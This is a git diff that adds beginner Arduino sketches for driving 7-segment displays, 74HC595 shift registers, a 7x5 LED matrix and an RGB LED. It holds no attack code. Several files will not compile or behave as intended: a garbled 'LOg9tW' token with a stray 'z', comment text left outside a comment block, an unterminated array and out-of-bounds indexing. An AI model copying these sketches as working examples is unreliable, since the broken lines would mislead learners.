changeLED(6,ON); + + setNumber(ledDigitalOne, Z); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - EXCLA + changeLED(7,ON); + + setNumber(ledDigitalOne, EXCLA); + + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + changeLED(7,OFF); + + } + +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } + + + + + + void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} diff --git a/Projects/7 Segment Main/_7_Segment/_7_Segment.ino b/Projects/7 Segment Main/_7_Segment/_7_Segment.ino new file mode 100755 index 0000000..c7a976e --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment/_7_Segment.ino @@ -0,0 +1,288 @@ +/* +Make Projects: How to Drive a 7 Segment LED + URL: + By: Riley Porter + This is an introduction on how to drive a 7 Segment LED using only a Arduino. This is + not the best way to do this. This is meant to be a learning excercise. In later tutorials + I will show you how to use an dedicated IC using SPI or a Shift Register. Enjoy. + */ + + digitalWrite(A, HIGH) = turn off the "A" segment in the LED display + digitalWrite(B, LOW) = turn on the "B" segment in the LED display + + + +#define A 8 +#define B 9 +#define C 2 +#define D 3 +#define E 4 +#define F 5 +#define G 6 + + + + +void clr() +{ + //Clears the LED + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + digitalWrite(F, HIGH); + digitalWrite(G, HIGH); + +} + + +void char_A() +{ + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOg9tW); +} +z +void char_B() +{ + //Displays B + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void char_C() +{ + //Displays C + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void char_D() +{ + //Displays D + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void char_E() +{ + //Displays E + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void char_F() +{ + //Displays F + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + + +void one() +{ + //Displays 1 + digitalWrite(D, HIGH); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, HIGH); + digitalWrite(B, HIGH); + digitalWrite(C, HIGH); +} + +void two() +{ + //Displays 2 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, HIGH); +} + +void three() +{ + //Displays 3 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, HIGH); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void four() +{ + //Displays 4 + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, HIGH); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void five() +{ + //Displays 5 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void six() +{ + //Displays 6 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, HIGH); + digitalWrite(C, LOW); +} + +void seven() +{ + //Displays 7 + digitalWrite(D, HIGH); + digitalWrite(E, HIGH); + digitalWrite(F, HIGH); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void eight() +{ + //Displays 8 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void nine() +{ + //Displays 9 + digitalWrite(D, LOW); + digitalWrite(E, HIGH); + digitalWrite(F, LOW); + digitalWrite(G, LOW); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void zero() +{ + //Displays 0 + digitalWrite(D, LOW); + digitalWrite(E, LOW); + digitalWrite(F, LOW); + digitalWrite(G, HIGH); + digitalWrite(A, LOW); + digitalWrite(B, LOW); + digitalWrite(C, LOW); +} + +void LoopDisplay() +{ + //Loop through all Chars and Numbers + char_A(); + delay(1000); + char_B(); + delay(1000); + char_C(); + delay(1000); + char_D(); + delay(1000); + char_E(); + delay(1000); + char_F(); + delay(1000); + one(); + delay(1000); + two(); + delay(1000); + three(); + delay(1000); + four(); + delay(1000); + five(); + delay(1000); + six(); + delay(1000); + seven(); + delay(1000); + eight(); + delay(1000); + nine(); + delay(1000); + zero(); + delay(1000); +} + +void setup() +{ + //Setup our pins + pinMode(A, OUTPUT); + pinMode(B, OUTPUT); + pinMode(C, OUTPUT); + pinMode(D, OUTPUT); + pinMode(E, OUTPUT); + pinMode(F, OUTPUT); + pinMode(G, OUTPUT); + Serial.begin(9600); //Begin serial communcation + +} + +void loop() +{ + Serial.println("Starting\n"); + LoopDisplay(); + +} diff --git a/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino b/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino new file mode 100755 index 0000000..a7646ca --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_Letters/_7_Segment_Letters.ino @@ -0,0 +1,98 @@ +int ledDigitalOne[] = {1, 2, 3, 4, 5, 6, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {OFF, ON, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {ON, OFF, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {OFF, ON, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {OFF, ON, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + +void setup(){ + for(int i = 0; i < 9; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + + + setNumber(ledDigitalOne, Eight); //Set the color of LED one + + for (int i = 0; i < 10; i++) + { + setNumber(ledDigitalOne, Nine); + delay (1000); + setNumber(ledDigitalOne, Eight); + delay (1000); + setNumber(ledDigitalOne, Seven); + delay (1000); + setNumber(ledDigitalOne, Six); + delay (1000); + setNumber(ledDigitalOne, Five); + delay (1000); + setNumber(ledDigitalOne, Four); + delay (1000); + setNumber(ledDigitalOne, Three); + delay (1000); + setNumber(ledDigitalOne, Two); + delay (1000); + setNumber(ledDigitalOne, One); + delay (1000); + setNumber(ledDigitalOne, Zero); + delay (1000); + } + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + //randomNumber(); + +} + +//void randomNumber(){ + //int rand = random(0, sizeof(NUMBER / 2); //get a random number within the range of colors + //setNumber(ledDigitalOne, NUMBER[rand]); //Set the color of led one to a random color + //delay(1000); +//} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ + +void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} +// the loop routine runs over and over again forever: + diff --git a/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino b/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino new file mode 100755 index 0000000..b4808ef --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_Self/_7_Segment_Self.ino @@ -0,0 +1,98 @@ +int ledDigitalOne[] = {13, 12, 11, 10, 9, 8, 7}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = HIGH; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = LOW; //Define off as HIGH + +//Predefined Colors + +const boolean One[] = {ON, OFF, OFF, OFF, OFF, OFF, ON}; +const boolean Two[] = {OFF, ON, ON, ON, OFF, ON, ON}; +const boolean Three[] = {ON, ON, OFF, ON, OFF, ON, ON}; +const boolean Four[] = {ON, OFF, OFF, ON, ON, OFF, ON}; +const boolean Five[] = {ON, ON, OFF, ON, ON, ON, OFF}; +const boolean Six[] = {ON, ON, ON, ON, ON, ON, OFF}; +const boolean Seven[] = {ON, OFF, OFF, OFF, OFF, ON, ON}; +const boolean Eight[] = {ON, ON, ON, ON, ON, ON, ON}; +const boolean Nine[] = {ON, ON, OFF, ON, ON, ON, ON}; +const boolean Zero[] = {ON, ON, ON, OFF, ON, ON, ON}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* NUMBERS[] = {One, Two, Three, Four, Five, Six, Seven, Eight, Nine, Zero}; + +void setup(){ + for(int i = 0; i < 9; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + + + setNumber(ledDigitalOne, Eight); //Set the color of LED one + + for (int i = 0; i < 10; i++) + { + setNumber(ledDigitalOne, Nine); + delay (500); + setNumber(ledDigitalOne, Eight); + delay (500); + setNumber(ledDigitalOne, Seven); + delay (500); + setNumber(ledDigitalOne, Six); + delay (500); + setNumber(ledDigitalOne, Five); + delay (500); + setNumber(ledDigitalOne, Four); + delay (500); + setNumber(ledDigitalOne, Three); + delay (500); + setNumber(ledDigitalOne, Two); + delay (500); + setNumber(ledDigitalOne, One); + delay (500); + setNumber(ledDigitalOne, Zero); + delay (500); + } + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + //randomNumber(); + +} + +//void randomNumber(){ + //int rand = random(0, sizeof(NUMBER / 2); //get a random number within the range of colors + //setNumber(ledDigitalOne, NUMBER[rand]); //Set the color of led one to a random color + //delay(1000); +//} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ + +void setNumber(int* led, boolean* number) +{ + for(int i = 0; i < 7; i++) + { + digitalWrite(led[i], number[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ + +void setNumber(int* led, const boolean* number) +{ + boolean tempNumber[] = {number[0], number[1], number[2], number[3], number[4], number[5], number[6]}; + setNumber(led, tempNumber); +} +// the loop routine runs over and over again forever: + diff --git a/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino b/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino new file mode 100755 index 0000000..93f3564 --- /dev/null +++ b/Projects/7 Segment Main/_7_Segment_w__74HC/_7_Segment_w__74HC.ino @@ -0,0 +1,98 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 11; +int latch = 12; +int clock = 13; + +//Used for single LED manipulation +int ledState = 1; +const int ON = HIGH; +const int OFF = LOW; + + +/* + * setup() - this function runs once when you turn your Arduino on + * We set the three control pins to outputs + */ +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 100; //the number of milliseconds to delay between LED updates + for(int i = 0; i < 256; i++){ + updateLEDs(i); + delay(delayTime); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B0000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } diff --git a/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino b/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino new file mode 100755 index 0000000..19cc760 --- /dev/null +++ b/Projects/7 Segment Main/_8_LED_74HC/_8_LED_74HC.ino @@ -0,0 +1,236 @@ +/* --------------------------------------------------------- + * | Arduino Experimentation Kit Example Code | + * | CIRC-05 .: 8 More LEDs :. (74HC595 Shift Register) | + * --------------------------------------------------------- + * + * We have already controlled 8 LEDs however this does it in a slightly + * different manner. Rather than using 8 pins we will use just three + * and an additional chip. + * + * + */ + + +//Pin Definitions +//Pin Definitions +//The 74HC595 uses a serial communication +//link which has three pins +int data = 2; +int clock = 3; +int latch = 4; + +//Used for single LED manipulation +int ledState = 0; +const int ON = HIGH; +const int OFF = LOW; + + +void setup() +{ + pinMode(data, OUTPUT); + pinMode(clock, OUTPUT); + pinMode(latch, OUTPUT); +} + +/* + * loop() - this function will start after setup finishes and then repeat + * we set which LEDs we want on then call a routine which sends the states to the 74HC595 + */ +void loop() // run over and over again +{ + int delayTime = 500; + for (int i = 0; i < 8; i++) + { + changeLED(0,ON); // - 9 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 8 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 7 + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 6 + changeLED(1,ON); + changeLED(2,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 5 + changeLED(1,ON); + changeLED(3,ON); + changeLED(4,ON); + changeLED(5,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 4 + changeLED(3,ON); + changeLED(4,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 3 + changeLED(1,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(1,ON); // - 2 + changeLED(2,ON); + changeLED(3,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 1 + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + + changeLED(0,ON); // - 0 + changeLED(1,ON); + changeLED(2,ON); + changeLED(4,ON); + changeLED(5,ON); + changeLED(6,ON); + delay(1000); + changeLED(0,OFF); + changeLED(1,OFF); + changeLED(2,OFF); + changeLED(3,OFF); + changeLED(4,OFF); + changeLED(5,OFF); + changeLED(6,OFF); + } + for (int i = 0; i < 7; i++) + { + changeLED(i,OFF); + delay(delayTime); + } +} + + + +/* + * updateLEDs() - sends the LED states set in ledStates to the 74HC595 + * sequence + */ +void updateLEDs(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + shiftOut(data, clock, MSBFIRST, value); //Shifts out the 8 bits to the shift register + digitalWrite(latch, HIGH); //Pulls the latch high displaying the data +} + +/* + * updateLEDsLong() - sends the LED states set in ledStates to the 74HC595 + * sequence. Same as updateLEDs except the shifting out is done in software + * so you can see what is happening. + */ +void updateLEDsLong(int value){ + digitalWrite(latch, LOW); //Pulls the chips latch low + for(int i = 0; i < 8; i++){ //Will repeat 8 times (once for each bit) + int bit = value & B10000000; //We use a "bitmask" to select only the eighth + //bit in our number (the one we are addressing this time through + value = value << 1; //we move our number up one bit value so next time bit 7 will be + //bit 8 and we will do our math on it + if(bit == 128){digitalWrite(data, HIGH);} //if bit 8 is set then set our data pin high + else{digitalWrite(data, LOW);} //if bit 8 is unset then set the data pin low + digitalWrite(clock, HIGH); //the next three lines pulse the clock pin + delay(1); + digitalWrite(clock, LOW); + } + digitalWrite(latch, HIGH); //pulls the latch high shifting our data into being displayed +} + + +//These are used in the bitwise math that we use to change individual LEDs +//For more details http://en.wikipedia.org/wiki/Bitwise_operation +int bits[] = {B00000001, B00000010, B00000100, B00001000, B00010000, B00100000, B01000000, B10000000}; +int masks[] = {B11111110, B11111101, B11111011, B11110111, B11101111, B11011111, B10111111, B01111111}; +/* + * changeLED(int led, int state) - changes an individual LED + * LEDs are 0 to 7 and state is either 0 - OFF or 1 - ON + */ + void changeLED(int led, int state){ + ledState = ledState & masks[led]; //clears ledState of the bit we are addressing + if(state == ON){ledState = ledState | bits[led];} //if the bit is on we will add it to ledState + updateLEDs(ledState); //send the new LED state to the shift register + } diff --git a/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino b/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino new file mode 100644 index 0000000..9e725a8 --- /dev/null +++ b/Projects/7x5 Display/_1.singleTest/_1.singleTest.ino @@ -0,0 +1,109 @@ +byte led_row[7] = {5,2,6,11,7,13,8}; +byte led_col[5] = {3,9,10,4,12}; +long prevTime = -1000; +long interval = 5000; + +byte draw_task[7][5] = { + { 0,1,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}}; + +byte zero[7][5] = { + { 0,1,1,1,0}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 1,0,0,0,1}, + { 0,1,1,1,0}}; + + byte one[7][5] = { + { 0,1,1,0,0}, + { 1,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 0,0,1,0,0}, + { 1,1,1,1,1}}; + + byte two[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + + byte three[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + + byte four[7][5] = { + { 1,0,0,0,1}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 0,0,1,0,0}, + { 0,1,0,1,0}, + { 0,1,0,1,0}, + { 1,0,0,0,1}}; + +void setup() { + pinMode( 3, OUTPUT ); + pinMode( 9, OUTPUT ); + pinMode( 10, OUTPUT ); + pinMode( 4, OUTPUT ); + pinMode( 12, OUTPUT ); + + pinMode( 5, OUTPUT ); + pinMode( 2, OUTPUT ); + pinMode( 6, OUTPUT ); + pinMode( 11, OUTPUT ); + pinMode( 7, OUTPUT ); + pinMode( 13, OUTPUT ); + pinMode( 8, OUTPUT ); + + for (int i = 0; i < 7; i++) { + digitalWrite(led_row[i], 1); + } + for (int i = 0; i < 5; i++) { + digitalWrite(led_col[i], 0); + } + + delay(500); + draw(); +} + +void draw() { + draw_task[7][5] = zero[7][5]; +// unsigned long currentTime = millis(); +// +// if (currentTime - prevTime > interval) { +// prevTime = currentTime; +// draw_task[7][5] = one[7][5]; +// } +// else { +// +// } +} + +void loop() { + for (int i = 0; i < 7; i++) { + digitalWrite(led_row[i], 1); + for (int j = 0; j < 5; j++) { + digitalWrite(led_col[j], (draw_task[i][j] == 1 ? 0 : 1)); + } + delayMicroseconds(900); + digitalWrite(led_row[i], 0); + } + +} diff --git a/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino b/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino new file mode 100644 index 0000000..b0cd0e4 --- /dev/null +++ b/Projects/7x5 Display/_1.singleTets/_1.singleTets.ino @@ -0,0 +1,69 @@ +int idx = 0; unsigned long last; + +void setup() { + last = millis(); + pinMode( 3, OUTPUT ); + pinMode( 9, OUTPUT ); + pinMode( 10, OUTPUT ); + pinMode( 4, OUTPUT ); + pinMode( 12, OUTPUT ); + + pinMode( 5, OUTPUT ); + pinMode( 2, OUTPUT ); + pinMode( 6, OUTPUT ); + pinMode( 11, OUTPUT ); + pinMode( 7, OUTPUT ); + pinMode( 13, OUTPUT ); + pinMode( 8, OUTPUT ); + + byte led[5][7] = { + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, + {0,0,0,0,0}, +} + +byte leds[7][5]; + +void setPattern( byte pattern[20][5], int idx ) { + for( int r =0; r < 7; r++) { + for( int c = 0; c < 5; c++) { + leds[r][c] = pattern[r + idx][c]; + } + } +} + +void draw() { + + for( int r =0; r < 7; r ++ ) { + digitalWrite( r + 2, HIGH ); + for( int c=0; c < 5; c ++ ) { + digitalWrite( 13 - c, ( leds[r][c] == 1 ? LOW : HIGH )); + } + delayMicroseconds(900); + digitalWrite( r + 2, LOW ); + } +} + +void loop() { + if ( millis() - last > 400 ) { + idx = (idx == 0 ? 7 : 0); + last = millis(); + } + + byte tmp[14][5] = { + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + { 1,1,1,1,1}, + }; + + setPattern( tmp, idx ); + draw(); +} diff --git a/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino b/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino new file mode 100755 index 0000000..842ea69 --- /dev/null +++ b/Projects/Colorful_Light_RGB_LEDs/Colorful_Light_RGB_LEDs.ino @@ -0,0 +1,78 @@ +/* --------------------------------------------------------- + * | Experimentation Kit for Arduino Example Code | + * | CIRC-RGB .: Colourful Light :. (RGB LED) | + * --------------------------------------------------------- + * + * We've blinked an LED and controlled eight in sequence now it's time to + * control colour. Using an RGB LED (actual 3 LEDs in a single housing) + * we can generate any colour our heart desires. + * + * (we'll also use a few programming shortcuts to make the code + * more portable/readable) + */ + + +//RGB LED pins +int ledDigitalOne[] = {9, 10, 11}; //the three digital pins of the digital LED + //9 = redPin, 10 = greenPin, 11 = bluePin + +const boolean ON = LOW; //Define on as LOW (this is because we use a common + //Anode RGB LED (common pin is connected to +5 volts) +const boolean OFF = HIGH; //Define off as HIGH + +//Predefined Colors +const boolean RED[] = {ON, OFF, OFF}; +const boolean BLUE[] = {OFF, ON, OFF}; +const boolean GREEN[] = {OFF, OFF, ON}; +const boolean YELLOW[] = {ON, OFF, ON}; +const boolean CYAN[] = {OFF, ON, ON}; +const boolean MAGENTA[] = {ON, ON, OFF}; +const boolean WHITE[] = {ON, ON, ON}; +const boolean BLACK[] = {OFF, OFF, OFF}; + +//An Array that stores the predefined colors (allows us to later randomly display a color) +const boolean* COLORS[] = {RED, GREEN, BLUE, YELLOW, CYAN, 